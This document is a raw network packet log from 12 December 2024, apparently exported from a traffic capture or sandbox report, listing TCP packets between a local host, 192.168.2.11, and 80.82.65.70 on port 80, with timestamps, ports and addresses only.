                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.430310965 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.430351019 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.430403948 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.431610107 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.431679010 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.431721926 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.431813002 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.433285952 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.433347940 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.433368921 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.433423042 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.434501886 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.434618950 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.434676886 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.437756062 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.437834978 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.438266993 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.438275099 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.438333035 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.439331055 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.439337969 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.439389944 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.440516949 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.440553904 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.440567017 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.440597057 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.440624952 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.442305088 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.442395926 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.442611933 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.442672968 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.443317890 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.443377018 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.443416119 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.443476915 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.444760084 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.444915056 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.444947958 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.444977999 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.446190119 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.446248055 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.446294069 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.446343899 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.447736025 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.447815895 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.447921038 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.448050976 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.449187994 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.449253082 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.449372053 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.449421883 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.450728893 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.450778961 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.450968027 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.451044083 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.452043056 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.452099085 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.452424049 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.452478886 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.453510046 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.453598022 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.453620911 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.453649998 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.454950094 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.455014944 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.455058098 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.455111027 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.456484079 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.456537008 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.456551075 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.456607103 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.458026886 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.458077908 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.458116055 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.458161116 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.459361076 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.459429026 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.459454060 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.459501028 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.460822105 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.460879087 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.460912943 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.460966110 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.462310076 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.462363958 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.462388039 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.462433100 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.463727951 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.463787079 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.463818073 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.463907957 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.476198912 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.476281881 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.476311922 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.476376057 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.476963043 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.477015018 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.477054119 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.477112055 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.478369951 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.478430986 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.505594969 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.505698919 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.505811930 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.505811930 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.506262064 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.506352901 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.506397963 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.506452084 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.507735014 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.507807016 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.508282900 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.508335114 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.508476019 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.508704901 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.541965961 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.542026043 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.542092085 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.542093039 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.542737007 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.542798042 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.542869091 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.542922974 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.544202089 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.544259071 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.544326067 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.544383049 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.545655966 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.545705080 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.545717001 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.545787096 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.547169924 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.547229052 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.547281027 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.547367096 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.548588037 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.548645020 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.548692942 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.548754930 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.550049067 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.550144911 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.550163984 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.550211906 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.551878929 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.551938057 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.551939011 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.551996946 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.553030968 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.553039074 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.553101063 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.554440022 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.554507971 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.554546118 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.554600000 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.555913925 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.555986881 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.556026936 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.556112051 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.557344913 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.557472944 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.557513952 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.557539940 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.558866024 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.558969021 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.559005022 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.559032917 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.560345888 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.560427904 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.560446978 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.560524940 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.561929941 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.561990976 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.562031031 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.562083960 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.563308954 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.563390017 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.563407898 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.563483000 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.564846039 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.564985037 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.565037966 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.565089941 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.566252947 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.566346884 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.566384077 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.566406965 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.567761898 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.567878008 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.567883015 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.567938089 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.568977118 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.569042921 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.569081068 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.569133997 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.619895935 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.620054960 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.620163918 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.620265007 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.620321035 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.620382071 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.620435953 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.621021032 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.621083021 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.621140003 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.621990919 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.622051001 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.622107029 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.622567892 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.622643948 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.622855902 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.623092890 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.623399019 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.623420000 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.623481035 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.624165058 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.624243021 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.624300957 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.624942064 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.625219107 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.625272036 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.625766039 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.625818968 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.625897884 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.626020908 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.626528025 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.626610994 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.626616001 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.626682043 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.627296925 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.627391100 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.627419949 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.627484083 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.628043890 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.628092051 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.628165007 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.628468037 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.628844976 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.628948927 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.629026890 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.629090071 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.629621983 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.629683971 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.629745960 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.629797935 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.630441904 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.630496979 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.630542040 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.630568027 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.631324053 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.631422997 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.631475925 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.631674051 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.632011890 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.632126093 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.632147074 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.632172108 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.632787943 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.632883072 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.632941961 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.633522987 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.633578062 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.633595943 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.633624077 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.634313107 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.634454012 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.634473085 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.634501934 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.635101080 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.635220051 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.635277033 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.635946035 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.636003971 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.636040926 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.636193037 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:02.636698008 CET804981980.82.65.70192.168.2.11
